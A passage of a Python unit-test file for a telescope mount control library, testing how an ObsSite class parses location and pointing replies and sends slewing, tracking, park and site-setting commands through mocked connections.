test_ObsSite_parseLocation_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['+0585.2', '-011:35:00.0', '+48:07:00.0', '03'] suc = obsSite.parseLocation(response, 4) self.assertEqual(True, suc) def test_ObsSite_parseLocation_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['+0585.2', '+011:35:00.0', '+48:07:00.0', '03'] suc = obsSite.parseLocation(response, 4) self.assertEqual(True, suc) def test_ObsSite_parseLocation_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = [] suc = obsSite.parseLocation(response, 4) self.assertEqual(False, suc) def test_ObsSite_parseLocation_not_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['+master', '-011:35:00.0', '+48:07:00.0', '03'] suc = obsSite.parseLocation(response, 4) self.assertEqual(True, suc) def test_ObsSite_parseLocation_not_ok3(self): obsSite = ObsSite(pathToData=pathToData) response = ['+0585.2', '-011:35:00.0', '+48:sdj.0', '03'] suc = obsSite.parseLocation(response, 4) self.assertEqual(True, suc) def test_ObsSite_parseLocation_not_ok4(self): obsSite = ObsSite(pathToData=pathToData) response = ['+0585.2', '-011:EE:00.0', '+48:07:00.0', '03'] suc = obsSite.parseLocation(response, 4) self.assertEqual(True, suc) def test_ObsSite_poll_ok(self): obsSite = ObsSite(pathToData=pathToData) response = ['+0585.2', '-011:35:00.0', '+48:07:00.0', '03'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 4 suc = obsSite.getLocation() self.assertEqual(True, suc) def test_ObsSite_poll_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['+0585.2', '-011:35:00.0', '+48:07:00.0', '03'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 4 suc = obsSite.getLocation() self.assertEqual(False, suc) def test_ObsSite_poll_not_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['+0585.2', '-011:35:00.0', '+48:07:00.0', '03'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 6 suc = obsSite.getLocation() self.assertEqual(False, suc) # # # testing pollSetting pointing # # def test_ObsSite_parsePointing_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['13:15:35.68', '0.12', 'V', '19.44591,+88.0032,W,002.9803,+47.9945,2458352.10403639,5,0', '2458352.10403639, 100, 100, 0.1, 0.1'] suc = obsSite.parsePointing(response, 5) self.assertEqual(True, suc) def test_ObsSite_parsePointing_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['13:15:35.68', '0.12', 'V', '19.44591,+88.0032,W,000.0000,+47.9945,2458352.10403639,5,0', '2458352.10403639, 100, 100, 0.1, 0.1'] suc = obsSite.parsePointing(response, 5) self.assertEqual(True, suc) self.assertEqual(type(obsSite.Az), Angle) def test_ObsSite_parsePointing_ok3(self): obsSite = ObsSite(pathToData=pathToData) response = ['13:15:35.68', '0.12', 'V', '19.44591,+88.0032,W,000.0001,+00.0000,2458352.10403639,5,0', '2458352.10403639, 100, 100, 0.1, 0.1'] suc = obsSite.parsePointing(response, 5) self.assertEqual(True, suc) self.assertEqual(type(obsSite.Alt), Angle) def test_ObsSite_pollPointing_ok4(self): obsSite = ObsSite(pathToData=pathToData) response = ['13:15:35.68', '0.12', 'V', '19.44591,+88.0032,W,002.9803,+47.9945,2458352.10403639,5,0', '2458352.10403639, 100, 100, 0.1, 0.1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 5 suc = obsSite.pollPointing() self.assertEqual(True, suc) def test_ObsSite_pollPointing_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['13:15:35.68', '0.12', '19.44591,+88.0032,W,002.9803,+47.9945,2458352.10403639,5,0', '2458352.10403639, 100, 100, 0.1, 0.1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 3 suc = obsSite.pollPointing() self.assertEqual(False, suc) def test_ObsSite_pollPointing_not_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['13:15:35.68', '0.12', '19.44591,+88.0032,W,002.9803,+47.9945,2458352.10403639,5,0', '2458352.10403639, 100, 100, 0.1, 0.1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 5 suc = obsSite.pollPointing() self.assertEqual(False, suc) def test_pollSyncClock_1(self): obsSite = ObsSite(pathToData=pathToData) with mock.patch.object(platform, 'system', return_value='Windows'): with mock.patch.object(mountcontrol.obsSite.Connection, 'communicate', return_value=(False, [], 0)): suc = obsSite.pollSyncClock() assert not suc def test_pollSyncClock_2(self): obsSite = ObsSite(pathToData=pathToData) with mock.patch.object(platform, 'system', return_value='Linux'): with mock.patch.object(mountcontrol.obsSite.Connection, 'communicate', return_value=(False, [], 0)): suc = obsSite.pollSyncClock() assert not suc def test_pollSyncClock_3(self): obsSite = ObsSite(pathToData=pathToData) with mock.patch.object(platform, 'system', return_value='aarch64'): with mock.patch.object(mountcontrol.obsSite.Connection, 'communicate', return_value=(False, [], 0)): suc = obsSite.pollSyncClock() assert not suc def test_pollSyncClock_4(self): obsSite = ObsSite(pathToData=pathToData) with mock.patch.object(platform, 'system', return_value='Darwin'): with mock.patch.object(mountcontrol.obsSite.Connection, 'communicate', return_value=(True, ['eee'], 1)): suc = obsSite.pollSyncClock() assert not suc def test_pollSyncClock_5(self): obsSite = ObsSite(pathToData=pathToData) with mock.patch.object(platform, 'system', return_value='Darwin'): with mock.patch.object(mountcontrol.obsSite.Connection, 'communicate', return_value=(True, ['12345678.1'], 1)): suc = obsSite.pollSyncClock() assert suc def test_adjustClock_1(self): obsSite = ObsSite(pathToData=pathToData) with mock.patch.object(mountcontrol.obsSite.Connection, 'communicate', return_value=(False, ['0'], 1)): suc = obsSite.adjustClock(0) assert not suc def test_adjustClock_2(self): obsSite = ObsSite(pathToData=pathToData) with mock.patch.object(mountcontrol.obsSite.Connection, 'communicate', return_value=(True, ['0'], 1)): suc = obsSite.adjustClock(0) assert not suc def test_adjustClock_3(self): obsSite = ObsSite(pathToData=pathToData) with mock.patch.object(mountcontrol.obsSite.Connection, 'communicate', return_value=(True, ['1'], 1)): suc = obsSite.adjustClock(0) assert suc def test_startSlewing_1(self): obsSite = ObsSite(pathToData=pathToData) suc = obsSite.startSlewing(slewType='') self.assertEqual(suc, False) def test_startSlewing_1_1(self): obsSite = ObsSite(pathToData=pathToData) response = '1#' obsSite.status = 0 with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 1 suc = obsSite.startSlewing(slewType='keep') self.assertEqual(suc, False) def test_startSlewing_1_2(self): obsSite = ObsSite(pathToData=pathToData) response = '1#' obsSite.status = 1 with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 1 suc = obsSite.startSlewing(slewType='keep') self.assertEqual(suc, False) def test_startSlewing_2(self): obsSite = ObsSite(pathToData=pathToData) response = '1#' with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.startSlewing(slewType='normal') self.assertEqual(suc, False) def test_startSlewing_3(self): obsSite = ObsSite(pathToData=pathToData) response = '1#' with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 3 suc = obsSite.startSlewing(slewType='normal') self.assertEqual(suc, False) def test_startSlewing_4(self): obsSite = ObsSite(pathToData=pathToData) response = '0#' with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.startSlewing(slewType='normal') self.assertEqual(suc, True) def test_ObsSite_setTargetAltAz_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['112+45:00:00.0', '180:00:00.0', '12:30:00.00', '+45:30:00.0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 7 alt = Angle(degrees=30) az = Angle(degrees=30) suc = obsSite.setTargetAltAz(alt, az) self.assertEqual(True, suc) def test_ObsSite_setTargetAltAz_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) suc = obsSite.setTargetAltAz(alt_degrees=0, az_degrees=0) self.assertEqual(False, suc) def test_ObsSite_setTargetAltAz_not_ok2(self): obsSite = ObsSite(pathToData=pathToData) alt = Angle(degrees=30) suc = obsSite.setTargetAltAz(alt, az_degrees=0) self.assertEqual(False, suc) def test_ObsSite_setTargetAltAz_not_ok3(self): obsSite = ObsSite(pathToData=pathToData) alt = Angle(degrees=30) az = Angle(degrees=30) suc = obsSite.setTargetAltAz(alt, az) self.assertEqual(False, suc) def test_ObsSite_setTargetAltAz_not_ok4(self): obsSite = ObsSite(pathToData=pathToData) response = ['00'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 alt = Angle(degrees=30) az = Angle(degrees=30) suc = obsSite.setTargetAltAz(alt, az) self.assertEqual(False, suc) def test_ObsSite_setTargetAltAz_not_ok5(self): obsSite = ObsSite(pathToData=pathToData) response = ['0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 alt = Angle(degrees=30) az = Angle(degrees=30) suc = obsSite.setTargetAltAz(alt, az) self.assertEqual(False, suc) def test_ObsSite_setTargetAltAz_not_ok6(self): obsSite = ObsSite(pathToData=pathToData) response = ['1#2'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 alt = Angle(degrees=30) az = Angle(degrees=30) suc = obsSite.setTargetAltAz(alt, az) self.assertEqual(False, suc) def test_ObsSite_setTargetAltAz_not_ok7(self): obsSite = ObsSite(pathToData=pathToData) response = ['1#2'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 alt = Angle(degrees=30) az = Angle(degrees=30) suc = obsSite.setTargetAltAz(alt, az) self.assertEqual(False, suc) def test_ObsSite_setTargetAltAz_not_ok8(self): obsSite = ObsSite(pathToData=pathToData) alt = Angle(hours=5, preference='hours') az = Angle(degrees=30) suc = obsSite.setTargetAltAz(alt, az) self.assertEqual(False, suc) def test_ObsSite_setTargetAltAz_not_ok9(self): obsSite = ObsSite(pathToData=pathToData) alt = Angle(degrees=30) az = Angle(hours=5, preference='hours') suc = obsSite.setTargetAltAz(alt, az) self.assertEqual(False, suc) # # # testing setTargetRaDec # # def test_ObsSite_setTargetRaDec_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['112+45:00:00.0', '180:00:00.0', '12:30:00.00', '+45:30:00.0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 ra = Angle(hours=5, preference='hours') dec = Angle(degrees=30) suc = obsSite.setTargetRaDec(ra, dec) self.assertEqual(True, suc) def test_ObsSite_setTargetRaDec_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['112+45:00:00.0', '180:00:00.0', '12:30:00.00', '+45:30:00.0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 ra = Angle(hours=5, preference='hours') dec = Angle(degrees=30) target = Star(ra=ra, dec=dec) suc = obsSite.setTargetRaDec(target=target) self.assertEqual(True, suc) def test_ObsSite_setTargetRaDec_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) suc = obsSite.setTargetRaDec(ra_hours=0, dec_degrees=0) self.assertEqual(False, suc) def test_ObsSite_setTargetRaDec_not_ok2(self): obsSite = ObsSite(pathToData=pathToData) suc = obsSite.setTargetRaDec(ra_hours=0, dec_degrees=0) self.assertEqual(False, suc) def test_ObsSite_setTargetRaDec_not_ok3(self): obsSite = ObsSite(pathToData=pathToData) ra = None dec = None target = None suc = obsSite.setTargetRaDec(ra, dec, target) self.assertEqual(False, suc) def test_ObsSite_setTargetRaDec_not_ok4(self): obsSite = ObsSite(pathToData=pathToData) ra = Angle(hours=30, preference='hours') dec = None suc = obsSite.setTargetRaDec(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetRaDec_not_ok5(self): obsSite = ObsSite(pathToData=pathToData) ra = Angle(hours=30, preference='hours') dec = Angle(degrees=30) suc = obsSite.setTargetRaDec(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetRaDec_not_ok6(self): obsSite = ObsSite(pathToData=pathToData) response = ['00'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 ra = Angle(hours=5, preference='hours') dec = Angle(degrees=30) suc = obsSite.setTargetRaDec(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetRaDec_not_ok7(self): obsSite = ObsSite(pathToData=pathToData) response = ['0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 ra = Angle(hours=5, preference='hours') dec = Angle(degrees=30) suc = obsSite.setTargetRaDec(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetRaDec_not_ok8(self): obsSite = ObsSite(pathToData=pathToData) response = ['1#'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 ra = Angle(hours=5, preference='hours') dec = Angle(degrees=30) suc = obsSite.setTargetRaDec(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetRaDec_not_ok9(self): obsSite = ObsSite(pathToData=pathToData) response = ['1#'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 ra = Angle(hours=5, preference='hours') dec = Angle(degrees=30) suc = obsSite.setTargetRaDec(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetRaDec_not_ok10(self): obsSite = ObsSite(pathToData=pathToData) ra = Angle(degrees=30) dec = Angle(degrees=30) suc = obsSite.setTargetRaDec(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetRaDec_not_ok11(self): obsSite = ObsSite(pathToData=pathToData) ra = Angle(degrees=30) dec = Angle(hours=5, preference='hours') suc = obsSite.setTargetRaDec(ra, dec) self.assertEqual(False, suc) # # # testing setTargetAngular # # def test_ObsSite_setTargetAngular_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['112+45:00:00.0', '180:00:00.0', '12:30:00.00', '+45:30:00.0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 ra = Angle(hours=5, preference='degrees') dec = Angle(degrees=30) suc = obsSite.setTargetAngular(ra, dec) self.assertEqual(True, suc) def test_ObsSite_setTargetAngular_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['112+45:00:00.0', '180:00:00.0', '12:30:00.00', '+45:30:00.0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 ra = Angle(hours=5, preference='degrees') dec = Angle(degrees=30) target = Star(ra=ra, dec=dec) suc = obsSite.setTargetAngular(target=target) self.assertEqual(True, suc) def test_ObsSite_setTargetAngular_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) suc = obsSite.setTargetAngular(ra_degrees=0, dec_degrees=0) self.assertEqual(False, suc) def test_ObsSite_setTargetAngular_not_ok2(self): obsSite = ObsSite(pathToData=pathToData) ra = None dec = None suc = obsSite.setTargetAngular(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetAngular_not_ok3(self): obsSite = ObsSite(pathToData=pathToData) ra = None dec = None target = None suc = obsSite.setTargetAngular(ra, dec, target) self.assertEqual(False, suc) def test_ObsSite_setTargetAngular_not_ok4(self): obsSite = ObsSite(pathToData=pathToData) ra = Angle(hours=30, preference='hours') dec = None suc = obsSite.setTargetAngular(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetAngular_not_ok5(self): obsSite = ObsSite(pathToData=pathToData) ra = Angle(hours=30, preference='hours') dec = Angle(degrees=30) suc = obsSite.setTargetAngular(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetAngular_not_ok6(self): obsSite = ObsSite(pathToData=pathToData) response = ['00'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 ra = Angle(hours=5, preference='hours') dec = Angle(degrees=30) suc = obsSite.setTargetAngular(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetAngular_not_ok7(self): obsSite = ObsSite(pathToData=pathToData) response = ['0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 2 ra = Angle(degrees=5) dec = Angle(degrees=30) suc = obsSite.setTargetAngular(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetAngular_not_ok8(self): obsSite = ObsSite(pathToData=pathToData) response = ['1#'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 ra = Angle(hours=5, preference='hours') dec = Angle(degrees=30) suc = obsSite.setTargetAngular(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetAngular_not_ok9(self): obsSite = ObsSite(pathToData=pathToData) response = ['1#'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 ra = Angle(hours=5, preference='hours') dec = Angle(degrees=30) suc = obsSite.setTargetAngular(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetAngular_not_ok10(self): obsSite = ObsSite(pathToData=pathToData) ra = Angle(degrees=30) dec = Angle(hours=5, preference='hours') suc = obsSite.setTargetAngular(ra, dec) self.assertEqual(False, suc) def test_ObsSite_setTargetAngular_not_ok_11(self): obsSite = ObsSite(pathToData=pathToData) response = ['002+45:00:00.0', '180:00:00.0', '12:30:00.00', '+45:30:00.0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 ra = Angle(hours=5, preference='degrees') dec = Angle(degrees=30) target = Star(ra=ra, dec=dec) suc = obsSite.setTargetAngular(target=target) self.assertEqual(False, suc) def test_ObsSite_setTargetAngular_not_ok_12(self): obsSite = ObsSite(pathToData=pathToData) response = ['112+45:00:00.0', '180:00:00.0', '12:30:00.00'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 2 ra = Angle(degrees=5) dec = Angle(degrees=30) target = Star(ra=ra, dec=dec) suc = obsSite.setTargetAngular(target=target) self.assertEqual(False, suc) # # # testing shutdown # # def test_ObsSite_shutdown_ok(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.shutdown() self.assertEqual(True, suc) def test_ObsSite_shutdown_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.shutdown() self.assertEqual(False, suc) def test_ObsSite_shutdown_not_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 1 suc = obsSite.shutdown() self.assertEqual(False, suc) # # # testing setSite # # def test_ObsSite_setLocation_ok(self): obsSite = ObsSite(pathToData=pathToData) observer = wgs84.latlon(latitude_degrees=50, longitude_degrees=11, elevation_m=580) response = ['111'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setLocation(observer) self.assertEqual(True, suc) def test_ObsSite_setLocation_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) observer = wgs84.latlon(latitude_degrees=50, longitude_degrees=11, elevation_m=580) response = ['101'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setLocation(observer) self.assertEqual(False, suc) def test_ObsSite_setLocation_not_ok2(self): obsSite = ObsSite(pathToData=pathToData) observer = wgs84.latlon(latitude_degrees=50, longitude_degrees=11, elevation_m=580) response = ['111'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 1 suc = obsSite.setLocation(observer) self.assertEqual(False, suc) def test_ObsSite_setLocation_not_ok3(self): obsSite = ObsSite(pathToData=pathToData) response = ['111'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 1 suc = obsSite.setLocation(1234) self.assertEqual(False, suc) def test_ObsSite_setLatitude_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setLatitude(lat_degrees=50) self.assertEqual(True, suc) def test_ObsSite_setLatitude_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setLatitude(lat=Angle(degrees=50)) self.assertEqual(True, suc) def test_ObsSite_setLatitude_ok3(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setLatitude(lat='12 50 00.0') self.assertEqual(True, suc) def test_ObsSite_setLatitude_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setLatitude(lat_degrees='50') self.assertEqual(False, suc) def test_ObsSite_setLatitude_not_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 1 suc = obsSite.setLatitude(lat_degrees=50) self.assertEqual(False, suc) def test_ObsSite_setLatitude_not_ok3(self): obsSite = ObsSite(pathToData=pathToData) response = ['0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setLatitude(lat_degrees=50) self.assertEqual(False, suc) def test_ObsSite_setLongitude_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setLongitude(lon_degrees=50) self.assertEqual(True, suc) def test_ObsSite_setLongitude_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setLongitude(lon=Angle(degrees=50)) self.assertEqual(True, suc) def test_ObsSite_setLongitude_ok3(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setLongitude(lon='12 50 50.00') self.assertEqual(True, suc) def test_ObsSite_setLongitude_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setLongitude(lon_degrees='50') self.assertEqual(False, suc) def test_ObsSite_setLongitude_not_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 1 suc = obsSite.setLongitude(lon_degrees=50) self.assertEqual(False, suc) def test_ObsSite_setLongitude_not_ok3(self): obsSite = ObsSite(pathToData=pathToData) response = ['0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setLongitude(lon_degrees=50) self.assertEqual(False, suc) def test_ObsSite_setElevation_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setElevation('500') self.assertEqual(True, suc) def test_ObsSite_setElevation_not_ok0(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setElevation(['test']) self.assertEqual(False, suc) def test_ObsSite_setElevation_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setElevation('er') self.assertEqual(False, suc) def test_ObsSite_setElevation_not_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 1 suc = obsSite.setElevation('500') self.assertEqual(False, suc) def test_ObsSite_setElevation_not_ok3(self): obsSite = ObsSite(pathToData=pathToData) response = ['0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.setElevation('500') self.assertEqual(False, suc) # # # testing startTracking # # def test_ObsSite_startTracking_ok(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.startTracking() self.assertEqual(True, suc) def test_ObsSite_startTracking_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.startTracking() self.assertEqual(False, suc) # # # testing stopTracking # # def test_ObsSite_stopTracking_ok(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.stopTracking() self.assertEqual(True, suc) def test_ObsSite_stopTracking_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.stopTracking() self.assertEqual(False, suc) # # # testing park # # def test_ObsSite_park_ok(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.park() self.assertEqual(True, suc) def test_ObsSite_park_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.park() self.assertEqual(False, suc) # # # testing unpark # # def test_ObsSite_unpark_ok(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.unpark() self.assertEqual(True, suc) def test_ObsSite_unpark_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.unpark() self.assertEqual(False, suc) # # # testing parkOnActualPosition # # def test_ObsSite_parkOnActualPosition_ok(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.parkOnActualPosition() self.assertEqual(True, suc) def test_ObsSite_parkOnActualPosition_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 1 suc = obsSite.parkOnActualPosition() self.assertEqual(False, suc) def test_ObsSite_parkOnActualPosition_not_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.parkOnActualPosition() self.assertEqual(False, suc) # # # testing stop # # def test_ObsSite_stop_ok(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.stop() self.assertEqual(True, suc) def test_ObsSite_stop_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.stop() self.assertEqual(False, suc) # # # testing flip # # def test_ObsSite_flip_ok(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.flip() self.assertEqual(True, suc) def test_ObsSite_flip_not_ok1(self): obsSite = ObsSite(pathToData=pathToData) response = ['0'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 1 suc = obsSite.flip() self.assertEqual(False, suc) def test_ObsSite_flip_not_ok2(self): obsSite = ObsSite(pathToData=pathToData) response = ['1'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 1 suc = obsSite.flip() self.assertEqual(False, suc) def test_moveNorth_1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.moveNorth() self.assertEqual(suc, False) def test_moveNorth_2(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.moveNorth() self.assertEqual(suc, True) def test_moveEast_1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = 